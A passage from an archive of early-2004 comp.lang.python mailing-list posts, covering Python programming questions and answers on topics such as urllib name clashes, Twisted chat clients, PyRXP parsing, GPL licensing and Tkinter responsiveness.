References: <mailman.54.1076978618.31398.python-list@python.org>
	<dct8g1-7t.ln1@ID-66900.news.dfncis.de>
Message-ID: <c102ch$gb7$1@sea.gmane.org>

Peter Strempel wrote:
> First impression: "Wow"
> Second impression: "This is all pure Python???"

Definitely all Python. Some of it "cleaner" than others. I've been working 
on this for awhile now and I've learned a lot since I started. I've set it 
up so the 'Binary Installers' still run from full source code.

When writing a game like this in Python, performance is always a concern. 
SolarWolf ends up being very careful with the graphics with what is cleared, 
drawn, and updated. When you get down to it, drawing all the graphics still 
takes a large percentage of the runtime. It's still pretty easy to make a 
Python game that runs too slow.

There's a few other great looking Python games that have gotten pretty mature.

     Pydance, http://icculus.org/pyddr/
     Pathological, http://pathological.sourceforge.net/




From edvard+news at majakari.net  Wed Feb 18 01:11:27 2004
From: edvard+news at majakari.net (Edvard Majakari)
Date: Wed, 18 Feb 2004 08:11:27 +0200
Subject: Unit-testing single function with large number of different
 inputs
References: <87ptcdsyyt.fsf@titan.staselog.com>
	<73b00f0c.0402171506.4f801bc8@posting.google.com>
Message-ID: <87isi4syr4.fsf@titan.staselog.com>

ferrell at diablotech.com (Robert Ferrell) writes:

> add a flag, AllTestsPassed, to the TestLoad and TestValidate classes. 
> Initialize that flag to True.  Then, in your version of assertEqual,
> if any test fails set the flag to False.  Finally, after you've run
> all your tests, add
>
>   self.failUnless(self.AllTestsPassed, 'Some tests failed.')

But that doesn't give instant feedback (running ValidateTest takes over a
minute), neither does it report exact cause of errors. Hmm. I think I'll
look into Python's ability to create methods on the fly.

Thanks anyway!

PS. Sorry for the provoking .signature, it dates back to the Old Times
when I didn't know of Python ;)

-- 
#!/usr/bin/perl -w
$h={23,69,28,'6e',2,64,3,76,7,20,13,61,8,'4d',24,73,10,'6a',12,'6b',21,68,14,
72,16,'2c',17,20,9,61,11,61,25,74,4,61,1,45,29,20,5,72,18,61,15,69,20,43,26,
69,19,20,6,64,27,61,22,72};$_=join'',map{chr hex $h->{$_}}sort{$a<=>$b}
keys%$h;m/(\w).*\s(\w+)/x;$_.=uc substr(crypt(join('',60,28,14,49),join'',
map{lc}($1,substr $2,4,1)),2,4)."\n"; print;


From http  Mon Feb  2 14:18:58 2004
From: http (Paul Rubin)
Date: 02 Feb 2004 11:18:58 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<7xy8rmukd2.fsf@ruckus.brouhaha.com>
	<bvktq3$k3b$1@news.service.uci.edu>
	<7xvfmp7tpn.fsf@ruckus.brouhaha.com>
	<bvm0t5$j44$1@panix3.panix.com>
Message-ID: <7x4qu9s319.fsf@ruckus.brouhaha.com>

aahz at pythoncraft.com (Aahz) writes:
> >Have you looked at the code and confirmed that each comment post
> >requires a DB write in the usual sense?  Part of this discussion has
> >been about how to avoid DB writes for such common operations.
> 
> They require writes at *some* point, because they're persistent.  What
> kind of system they use (if any) to batch things up for efficiency, I've
> no idea.

I think of "DB write" as something different than just appending
something to a file, i.e. a DB write means SQL parsing, transactional

> LJ is huge.  I'd guess probably >50% of their active userbase is paying.

That sounds that they can deal with scaling issues by just throwing
more hardware at the problem.  Especially since I think their
high-traffic pages (like the home page) are static.  The dynamic pages
are user journals which I think don't interact with each other that
much and which (unlike Slashdot's comment threads) don't individually
get very heavy traffic.  They could basically have completely separate
servers for usernames beginning with "a", "b", "c", etc. and have a
simple load balancer redirecting browser requests.

> Nevertheless, LJ is an excellent example of a high-performance web
> application where the software is available as Open Source.  You can
> probably learn a lot if you dig into it.

Yeah, but I don't know if I could stomach looking at that much Perl code.


From haynesc at rockefeller.edu  Thu Feb  5 10:58:28 2004
From: haynesc at rockefeller.edu (Chad Haynes)
Date: Thu, 05 Feb 2004 10:58:28 -0500
Subject: integer overflow
Message-ID: <V7Cdnagd9Yd0-r_dRVn_vQ@news.rockefeller.edu>

I got an odd error which I cannot explain and cannot seem to reproduce.
The following statement

	lst[0] = num

produced this error

	OverflowError: unsigned short is greater than maximum

The number was around 65536 so it makes sense that it would overflow a 
short, but why is it trying to force it into a short integer?

-Chad


From daniel.dittmar at sap.com  Tue Feb 24 10:47:00 2004
From: daniel.dittmar at sap.com (Daniel Dittmar)
Date: Tue, 24 Feb 2004 16:47:00 +0100
Subject: undefined symbol: PyUnicodeUCS2_FromUnicode
References: <c1fgnc$e2e$1@news.surfnet.nl> <c1fhf1$mqk$1@news1.wdf.sap-ag.de>
	<c1flse$irk$1@news.surfnet.nl>
Message-ID: <c1frlk$pr$1@news1.wdf.sap-ag.de>

Eric Moors wrote:
> Daniel Dittmar wrote:
>> happen. Solution: compile the python module from source, but this
>> requires that the sources of the module have been prepared to deal
>> with UCS4.
>
> Thanks, but...
> Which module? Is this a gtk thing? (The name does suggest this)
> but `rpm -qf _gtk.so` shows that _gtk.so doesn't belong to any
> package. Yet gtk is installed by rpm.

From
ImportError: /usr/lib/python2.2/site-packages/gtk-2.0/gtk/_gtk.so: undefined
symbol: PyUnicodeUCS2_FromUnicode

I would guess that _gtk.so contains the python bindings to GTK.
PyUnicodeUCS2_FromUnicode is a function that belongs to the Python API.
Perhaps it's best to ask on the PyGTK mailing list on how to install it on
RedHat 9 (http://www.daa.com.au/~james/software/pygtk/).

I don't have much experience with RedHat myself, but from what I've heard on
this mailing list, it could be a good idea to install a second python for
your own programs and leave the system python alone.

Daniel





From deets_noospaam at web.de  Thu Feb  5 17:09:36 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 23:09:36 +0100
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net>
Message-ID: <bvuev1$o0h$07$1@news.t-online.com>

> How can I attach *class* methods to a type in C code, when I have a
> function
> 
> PyObject *func(PyObject *type, PyObject *arg);
> 
> with the METH_O calling convention?  The type is already created, I
> cannot insert it into the tp_methods array anymore.
> 
> Something like this:
> 
> class X(object):
>     pass
> 
> def func(cls, arg):
>     ....
> 
> X.func = classmethod(func)

Try METH_STATIC as flag for PyMethodDef.

--

Regards,

Diez B. Roggisch


From mal at egenix.com  Fri Feb 20 06:27:23 2004
From: mal at egenix.com (M.-A. Lemburg)
Date: Fri, 20 Feb 2004 12:27:23 +0100
Subject: Call for Papers: 1st International Workshop on Interpreted Languages
Message-ID: <4035EF1B.2000609@egenix.com>

Sebastian Bergmann, organizer of the above workshop, asked me
to post this announcement to the relevant Python lists.

     http://www.sebastian-bergmann.de/InterpretedLanguages2004/

I will be giving a talk on how Python is developed representing
the PSF. Would be nice if we could get some more talks
on Python or Python related subjects into this workshop since
it reaches out to a much larger public than the Python specific
conferences such as PyCon, PythonUK or EuroPython.

The workshop is part of the Net.ObjectDays, a conference
on OO- and Internet-based technologies:

    http://www.netobjectdays.org/node04/en/index.html

Thanks,
-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 20 2004)
 >>> Python/Zope Consulting and Support ...        http://www.egenix.com/
 >>> mxODBC.Zope.Database.Adapter ...             http://zope.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
2004-01-23: Released mxODBC.Zope.DA 1.0.8        http://zope.egenix.com/

::: Try mxODBC.Zope.DA for Windows,Linux,Solaris,FreeBSD for free ! ::::



From __peter__ at web.de  Mon Feb 23 03:30:15 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Feb 2004 09:30:15 +0100
Subject: AttributeError: 'module' object has no attribute 'urlopen'
References: <mailman.188.1077523128.27104.python-list@python.org>
Message-ID: <c1cdmn$hth$03$1@news.t-online.com>

dont bother wrote:

> import urllib
> sock = urllib.urlopen("http://diveintopython.org/")
> htmlSource = sock.read()
> sock.close()
> print htmlSource
> 
> I have Python 2.3.3 but when i run the above code I
> get the following error:
> 
> raceback (most recent call last):
>   File "urllib.py", line 1, in ?
>     import urllib
>   File
> "/home/shalen/programming/python/tutorials/py/urllib.py",
> line 2, in ?
>     sock =
> urllib.urlopen("http://diveintopython.org/")
> AttributeError: 'module' object has no attribute
> 'urlopen'
> 

This is a name clash. As your script has the same name as the library
module, it imports itself instead of urllib in the library.

To fix it, just rename to, say,

/home/shalen/programming/python/tutorials/py/examineurllib.py

Peter


From jcarlson at nospam.uci.edu  Fri Feb  6 00:04:55 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 21:04:55 -0800
Subject: Big O of sets
In-Reply-To: <mailman.1281.1076033322.12720.python-list@python.org>
References: <mailman.1281.1076033322.12720.python-list@python.org>
Message-ID: <bvv7e3$cj4$1@news.service.uci.edu>

Tony Meyer wrote:

> Alex Martelli's excellent Nutshell book has a handy little section outlining
> the Big O notation of various common Python operations (x in dict and
> list.append(x), for example).  Can anyone point me to equivalents for the
> Python 2.3 sets.[Immutable]Set operations?
> 
> I know that I could figure these myself from either timing or reading the
> code, but it'd be nice if someone's already done this :)  Either googling
> can't find it, or (more likely), I'm not thinking of the right search terms.
> 
> In particular, I'm interested in intersection, union and > (proper subset),
> and of ImmutableSets, rather than Sets.
> 
> Thanks!
> 
> =Tony Meyer

Tony,

Read the source.

  - Josiah


From dan at ithium.net  Wed Feb  4 10:32:56 2004
From: dan at ithium.net (Dan Williams)
Date: Wed, 4 Feb 2004 15:32:56 -0000
Subject: Advice: socket handling and threads
Message-ID: <E1AoP1Z-0002I2-Lq.2004-02-04-15-33-14@tmailb1.svr.pol.co.uk>

Hi people

Part of the reason I have started using Python (experience: 3 days) is that
I recognise the potential benefits in using it compared to writing C/C++
code. In particular, there are a couple of modules in an application that I
am writing that I have calculated will be up to ten times quicker to develop
(although it is hard to say at this stage), which is obviously quite
attractive.

The "problem" I have is relating to the existing C++ code I have. I've
started porting it to Python, so that the whole project will be in the same
language. The main aspects of my app that I am wondering about are socket
handling and multi-threading.

As far as I understand, Python can do everything that C/C++ can do with
sockets, plus there are the thread and threading modules which I believe are
equivalent to the pthreads module I have been using so far. My question is
this:

Is it sensible to port these sections of code to Python? Do I stand to gain
or lose by doing this... I doubt the performance difference will be
noticeable, and the only areas of the project that I would maybe consider
extending in C++ are to do with parsing (and to be honest I think it'll be
fine left in Python).

Finally there is the cherry on the cake in the form of cross-platform
compatibility. My C++ code only works on *nix (or cygwin) but as far as I
understand it, my threads and sockets should work fine on Windows and Mac
too, if done in Python...? (This is a CLI app not GUI by the way.)

Thoughts and general musings will be greatly appreciated (as will any
warnings of pitfalls I may encounter!)

Dan






From scrutinizer at gmx.at  Wed Feb 18 16:39:08 2004
From: scrutinizer at gmx.at (Francesco)
Date: Wed, 18 Feb 2004 22:39:08 +0100
Subject: Retrieving Shell Icons
Message-ID: <k5m7305naflpe1ke7nlcu0k9k30jj22mhg@4ax.com>

Hello,

(sorry, I have already asked this, but it is still unsolved)

I want to display the icons associated with a given extensions
  (also parent folder and folder) for my little filemanager in a
virtual list control.

I know, wxMimeTypesManager, unfortunatly, I cannot use it (i need
indexes
beginning from zero for the imagelist, and I'm not able to get
directory icons)

With win32 extension, I didn't come clear also:

The indexes, which i get from:

  dwFlags = Globals.SHGFI_USEFILEATTRIBUTES |
Globals.SHGFI_SYSICONINDEX | Globals.SHGFI_SMALLICON |
Globals.SHGFI_ICON
  windll.shell32.SHGetFileInfo (item.GetName(),
win32con.FILE_ATTRIBUTE_NORMAL,
    byref(Globals.shfileinfo), sizeof(Globals.shfileinfo), dwFlags)
  item.m_nIconIdx = Globals.shfileinfo.iIcon
 
(for example 9 for exe's, 8 html, 7 txt, 4 directories ...)

should correspond to the icons in the list

  dwFlags = Globals.SHGFI_USEFILEATTRIBUTES |
Globals.SHGFI_SYSICONINDEX | Globals.SHGFI_SMALLICON
  m_hImageList = windll.shell32.SHGetFileInfo('.txt',
win32file.FILE_ATTRIBUTE_NORMAL, byref(Globals.shfileinfo),
sizeof(Globals.shfileinfo), dwFlags)

In wxwindow, it is easy; but in wxPython (?)

Problem is: i get only a int pointer to the iconlist.
Can I transform this, to pass it into the image list; or is there
another solution?

Thank you for any help!

-- 
Francesco


From paul at boddie.net  Fri Feb  6 06:45:34 2004
From: paul at boddie.net (Paul Boddie)
Date: 6 Feb 2004 03:45:34 -0800
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
	<iQwUb.180248$4F2.22043362@twister.nyc.rr.com>
Message-ID: <23891c90.0402060345.5c6cf5e1@posting.google.com>

max khesin <max at NcOviSsPiAoMntech.com> wrote in message news:<iQwUb.180248$4F2.22043362 at twister.nyc.rr.com>...
> Carmine Noviello wrote:
> 
> >>Sounds great but... Why GPL (and not python)? It will prevent a lot of 
> >>us working grunts from using the module in the Commanie's code... And we 
> >>want MORE python!

How does it prevent people using it? My impression was that one isn't
necessarily going to ship production code with PyCrash. Even if people
will do that, there are still plenty of situations where the GPL won't
stop them.

> > I have chosen the GPL without any special reason: I know it and so I
> > simply used it. I?m not a license expert: I write code, no contracts.
> > However, my major intent is to contribute to python community with this
> > tool: so, if the type of licence can be a problem for the end-user I?m
> > ready to change it in the future.

I think it's a fair choice of licence.

> GPL license has a two-fold agenda (whether you like it or not):
> - to protect the developer from liability (with our crazy lawers it is 
> necessary for to protect yourself from some idiot misusing your generous 
> contribution)

True.

> - (this is a political-socioeconomic one) to spread GPL virally into 
> code that uses it to achieve world peace, prosperity and whatever in the 
> way Richard Stallman envisions it.

Interesting use of Ballmeresque terminology there. Usage of "cancer"
and "un-American" will give you a full house.

>                                    This is a complicated issue, and I 
> personally prefer to avoid commiting my code to this vision without 
> fully understanding the implications. What it basically means to me is 
> that I cannot use your code at work, which is annoying.

Perhaps you can't use GPL'd code at work, and you therefore come out
with this rhetoric for pretty much the same reasons that Microsoft and
SCO attack the GPL: because they can't just lift GPL-licensed code,
stuff it into their own products and then refuse to treat their users
as they themselves have been treated. That doesn't stop lots of other
commercial outfits from using GPL'd code, however.

Paul


From peter at engcorp.com  Tue Feb 10 11:35:32 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 11:35:32 -0500
Subject: package similar to XML::Simple
References: <bv80qq$kbg$1@sunnews.cern.ch>
	<mailman.904.1075287732.12720.python-list@python.org>
	<d116fbae.0402092332.22936b0@posting.google.com>
Message-ID: <40290854.15BB5CF0@engcorp.com>

Uche Ogbuji wrote:
> 
> Pierre N <pierren at mac.com> wrote in message news:<mailman.904.1075287732.12720.python-list at python.org>...
> > I'm using pyRXP, and it's great.
> > It's using one tuple, not dictionnaries.
> > Very very fast.
> > By the way I'm just starting using this package, anybody met any
> > problems with pyRXP?
> 
> I did.  It's not an XML parser :-(.  It does not accept character
> entities such as &#8230; (the example that bit me), giving meaningless
> "error" messages along the lines: "not a valid 8-bit XML character".
> If you need an XML parser, use PyRXPU, which comes in ReportLab CVS
> only.  It is not as fast as PyRXP, but conformant in my testing, and
> the point of XML is conformance, not speed at all costs.  If you want
> speed at all costs, use CSV or some other plain text format.

Hmm... so it's your opinion that *all* XML parsers must handle *all*
aspects of XML?  If not, I think you should back off on the criticism
of PyRXP as being "not an XML parser" and simply point out that it
doesn't handle all aspects of XML because it is intended to provide
a very fast/heavily optimized approach to parsing only certain kinds
of XML.  It's a valid choice to do so, though of course if PyRXP is
promoted as a "full" XML solution that might be inaccurate.

-Peter


From no.mail at no.mail.it  Tue Feb 10 19:44:18 2004
From: no.mail at no.mail.it (robsom)
Date: Wed, 11 Feb 2004 00:44:18 +0000 (UTC)
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>	<m3ad3usiop.fsf@hamster.pflaesterer.de>	<pan.2004.02.08.14.03.15.475979@no.mail.it>	<m365ehplku.fsf@hamster.pflaesterer.de>	<pan.2004.02.10.01.05.20.183909@no.mail.it>	<m31xp2kh2c.fsf@hamster.pflaesterer.de>
Message-ID: <pan.2004.02.11.00.00.36.241758@no.mail.it>


Il Tue, 10 Feb 2004 18:09:33 +0100, Karl Pfl?sterer ha scritto:
> If you're interested there's a vrey good mailing list for Python
> starters (and others): Python Tutor (I don't know the correct address
> ath the momwnr but it should be easy to find on the ython web site).

I'll have a look, I'm beginning to appreciate Python even though at first
I hated this indentation thing and I (still) don't like the "for in
range()" way to build loops.


>> First question: shouldn't it be split(line)?
> 
> No.  The split method is a method of strings.  Since line is a string
> you call here a method of a string object.

Ok, but then why if I write this

for line in fin.readlines():
	line = split(line)

it does work anyway? Are there two ways to use the same function?
 
>> Now, my book says that lambda works by applying (in this example) the
>> instructions in "dat != '-9999' and dat or ''" to the dat variable. Does
>> this mean that (I'm more or less guessing now) this code splits the line
> 
> It gets splitted on spaces.
> 
>> assign each element to a dat variable which could have three types of
>> value (i.e. its "normal" value or -9999 or a space)? And then you use a
> 
> That's nearly right.  This trick with `and' and `or' is necessary since
> you can't have statements in Python lambda. Written the above as `if'
> statement would be:
> if dat != '9999':
>     return dat
> else:
>     return ''

So in the end here is ho this piece of code works:
takes a line, split the line on spaces and put each element into a dat
variable. if the dat variable is equal to '9999' or whatever other symbol
is used to indicate a blank substitute it with a space otherwise leave its
value. then put together the dat (into a list?) separated by a comma.
I got it! maybe...

> No since join is a method.  If you have an older Python book it may be
> written differently.

well I'm using "Learning to Program" by Alan Gauld which I found on the
python website. But I found the description of the join function on the
python documentation of my system. Anyway, as I said it works both ways
(at least for split, haven't tried with join).
I was thinking of buying "Learning Python" of the O'Reilly series. What do
you think?
 
> I didn't know you were a beginner otherwise I would have written more
> verbosely.  The Tutor list might be the right place for you to start.

don't worry I should have said :)
 
>> Morevoer I wonder if it is possible to achieve the same thing  without
>> using the functional programming.
> 
> Yes, but it would be less fun :-)

uhm... maybe... I'll tell you when I get there... :D:D
thanks a lot

R





From python-url at phaseit.net  Tue Feb  3 00:08:00 2004
From: python-url at phaseit.net (Cameron Laird)
Date: Tue, 03 Feb 2004 05:08:00 -0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Feb  3)
Message-ID: <101ub5g7s34au9a@corp.supernews.com>

QOTW:  "Inheritance is vastly oversold."  -- John Roth

"One of the main reasons to prefer Python over other languages is its
newsgroup, indeed."  -- Michele Simionato


    Make sure you read this summary of Python's progress over the last year.
	http://www.python.org/topics/2003.html

    Jeremy Hylton explains the PyCon DC 2004 Sprints.
	http://groups.google.com/groups?selm=mailman.1075225682.22807.clpa-moderators%40python.org

    Maybe multiple inheritance isn't inherently evil.  Surely,
    though, we can all applaud Roy Smith's slogan that "your
    main goal should be to make the program easy for somebody
    else to understand ..."
	http://groups.google.com/groups?frame=left&th=db5011850cf43104
       
    Python Brasil is a Portuguese-language Wiki.
	http://www.pythonbrasil.com.br/

    Decimal data might become real!  That's what the progress 
    of PEP 327 indicates.
	http://groups.google.com/groups?selm=mailman.1036.1075467073.12720.python-list%40python.org

    Paul Winkler contributes recipes for converting between color formats.
	http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/266466


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newly-revitalized newsgroup at least weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of intelligently summarizing
    action on the python-dev mailing list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance. 
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Cetus collects Python hyperlinks.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.



From qp at al.net  Sun Feb 29 22:20:59 2004
From: qp at al.net (Qp)
Date: Sun, 29 Feb 2004 22:20:59 -0500
Subject: Twisted: How to sendLine from outside the LineReceiver class?
References: <wKq0c.6979$ED1.4783@fe03.usenetserver.com>
	<mailman.0.1078102318.22701.python-list@python.org>
Message-ID: <q_x0c.7170$ED1.6507@fe03.usenetserver.com>

Thanks a ton!  It all makes sense now, and it works in a much better way I
was thinking about (somehow returning a working transport object).

That helps a whole lot...

Thanks again,
QP

"Andrew Bennetts" <andrew-pythonlist at puzzling.org> wrote in message
news:mailman.0.1078102318.22701.python-list at python.org...
> [You'll probably get more answers to Twisted questions on the Twisted
> mailing-list: twisted-python at twistedmatrix.com]
>
> On Sun, Feb 29, 2004 at 02:06:07PM -0500, Qp wrote:
> > Hello.  I'm building a simple chat server and client interface, and I've
got
> > everything working except for this:
> >
> > While the client's basic.LineReceiver protocol class can sendLine when a
> > connection is made (that is, when the class is called automatically),
> > whenever I try to call sendLine from another class (my ClientFactory
class)
> > then I get the following error.
> >
> > "in sendLine
> > return self.transport.write(line + self.delimiter)
> > AttributeError: 'NoneType' object has no attribute 'write'"
> >
> > So, I assume the instance of the LineReceiver is not set up properly.
How
> > do I do this?
> >
> > The code I am using for the classes is as follows.  The error comes when
I
> > call chatFactory.sendMessage():
> >
> [...]
> > class chatFactory(protocol.ClientFactory):
> >     protocol = chatClient
> >
> [...]
> >     def sendMessage(self):
> >         c = chatClient()
> >         c.sendLine("Hey there")
>
> I see you are using ClientFactory, so I presume you want to make a client
> connection to a remote server with this protocol.
>
> You need to connect your protocol, not just create the object out of thin
> air.  See:
>
>     http://twistedmatrix.com/documents/howto/clients
>
> and also:
>
>
http://twistedmatrix.com/documents/current/api/twisted.internet.interfaces.I
ReactorTCP.html#connectTCP
>
> I think the easiest way to do what you need is to have the protocol's
> connectionMade signal the factory:
>
> ----
> class ChatClient(basic.LineReceiver):
>
>     def connectionMade(self):
>         self.sendLine("A new person has entered the room!")
>         self.factory.clientReady(self)
>
>     def lineReceived(self, line):
>         app.text_output.config(state=NORMAL) #enable text_output for
insert
>         app.text_output.insert(END, line +"\n")
>         app.text_output.config(state=DISABLED)
>         app.text_input.delete(0, END) #clear text_input
>         app.text_output.see(END) #move scrollbar to the bottom
>
>     def connectionLost(self, reason):
>         reactor.stop()
>
> class ChatFactory(protocol.ClientFactory):
>     protocol = ChatClient
>
>     def clientConnectionFailed(self, connector, reason):
>         reactor.stop()
>
>     def clientConnectionLost(self, connector, reason):
>         reactor.stop()
>
>     def startFactory(self):
>         self.messageQueue = []
>         self.clientInstance = None
>
>     def clientReady(self, instance):
>         self.clientInstance = instance
>         for msg in self.messageQueue:
>             self.sendMessage(msg)
>
>     def sendMessage(self, msg='Hey there'):
>         if self.clientInstance is not None:
>             self.clientInstance.sendLine(msg)
>         else:
>             self.messageQueue.append(msg)
> ----
>
> Note that I've added a simple message queue because it may take some time
> for the connection to be established, so calls to sendMessage could fail
if
> called too soon.  The queue avoids that problem.
>
> A better solution might be to not write the factory at all, and use
> twisted.internet.protocol.clientCreator:
>
>
http://twistedmatrix.com/documents/current/api/twisted.internet.protocol.Cli
entCreator.html
>
> ----
> from twisted.python import log
>
> # Create creator and connect
> clientCreator = protocol.ClientCreator(reactor, ChatClient)
> deferred = clientCreator.connectTCP(host, port)
>
> # When connected, send a line
> def connectionReady(protocol):
>     protocol.sendLine('Hey there')
> deferred.addCallback(connectionReady)
>
> # Log any errors that occur (such as connection failed)
> deferred.addErrback(log.err)
> ----
>
> -Andrew.
>
>





From NAVMSE-EXSRV at cccglobal.com  Wed Feb  4 19:52:45 2004
From: NAVMSE-EXSRV at cccglobal.com (NAV for Microsoft Exchange-EXSRV)
Date: Wed, 4 Feb 2004 18:52:45 -0600 
Subject: Norton AntiVirus detected and quarantined a virus in a message yo
	u sent.
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Recipient of the infected attachment:  Dimitrienko, Sergey\Inbox
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From merkosh at hadiko.de  Fri Feb  6 05:21:37 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Fri, 06 Feb 2004 11:21:37 +0100
Subject: __new__ to create copy
Message-ID: <bvvprg$81b$1@news.rz.uni-karlsruhe.de>

Hi,

I want to create a copy of an object from out of its base class:

class A(object):
  def copy(self):
...

class B(A):
...

>>> b = B()
>>> b.copy()

I'm not sure how to do this:

def copy(self):
    cpy = self.__new__(self.__class__)
    return cpy

seems not to call the constructor __init__().

How is such a thing done correctly? Where is the exact difference between
__new__ and __init__?


Thanks
Uwe


From wl at flexis.de  Wed Feb  4 06:48:38 2004
From: wl at flexis.de (Wolfgang Langner)
Date: Wed, 04 Feb 2004 12:48:38 +0100
Subject: javadoc for python
In-Reply-To: <401f0ace$1_1@newspeer2.tds.net>
References: <401f0ace$1_1@newspeer2.tds.net>
Message-ID: <bvqm6m$1b3j$1@news.lf.net>

Olaf Meding wrote:

> I played a little with happydoc and pydoc and wonder which one I should use.
> 
> Also, is there a better documentation general available (I am spoiled by
> javadoc).

Try http://epydoc.sourceforge.net/
In my opinion it's closed to javadoc.

bye by Wolfgang



From rogerb at rogerbinns.com  Sat Feb 21 05:55:38 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Sat, 21 Feb 2004 02:55:38 -0800
Subject: Python is too fast !
References: <8089854e.0402210039.5b761d0f@posting.google.com>
Message-ID: <t1qjg1-hsa.ln1@home.rogerbinns.com>

> So I've coded an option - which opens a temporary window with a
> Tkinter text widget in a frame and outputs the answers to the window
> as it finds them. The trouble is that the recursion is very processor
> intensive and it 'freezes' the window and it doesn't update. (I'm
> running on an AMD XP1700 with Win XP).

You have two choices as to how to solve this.  One is turn your
code into a generator.  The gui code then becomes something like:

    for word in genanagrams():
          <display the anagram>
          <possibly call Yield in gui toolkit>

Your other choice is to put your anagram generation into a background
thread, and have it send updates to the main (gui) thread.  I have long
since given up on TkInter and use wxPython instead.  In wxPython you
can use wx.PostEvent to send updates from worker threads to the
gui thread.

To send information from the main (gui) thread, use a Queue.Queue.
Call put() to add stuff in the main thread, and in the worker threads
call get() to get what they should do.  Generally you would use
some sort of message object.

Roger




From deets_noospaam at web.de  Thu Feb  5 12:45:43 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 18:45:43 +0100
Subject: Configuring the serial port
References: <f64d4f3d.0402050855.779d04a9@posting.google.com>
Message-ID: <bvtvg8$8ju$05$1@news.t-online.com>

> Do you know if I am in the right way to do the task? is there
> something missing here?
> 
> Any post will be of great help, thanks in advance,

Install pyserial, you can find it on sourceforge. Its platform-independend
(supports even java for jython) and gives a nice, clean api. I went through
all that termios-stuff, and while its possible, pyserial is much better.

--
Regards,

Diez


From newsgroups at jhrothjr.com  Fri Feb 13 17:35:47 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Fri, 13 Feb 2004 17:35:47 -0500
Subject: Another software design question: program-level globals
References: <KV8Xb.6707$PY.2127@newssvr26.news.prodigy.com>
Message-ID: <102qkf97nv3b648@news.supernews.com>

"Robin Munn" <rmunn at pobox.com> wrote in message
news:KV8Xb.6707$PY.2127 at newssvr26.news.prodigy.com...
> OK, here's another software design question, one that's been bugging me
> for a while now. What do y'all think is the best way to handle
> program-level globals, such as configuration option -- especially in
> multi-module programs?

You've basically got it: modules are inherently singletons.
I would, of course, dress up your solution by putting the
configuration reader and so forth into a class, and possibly
putting that behind some kind of proxy so I could easily
slide in mock objects for testing.

John Roth

> -- 
> Robin Munn
> rmunn at pobox.com




From jcarlson at nospam.uci.edu  Tue Feb  3 22:56:36 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
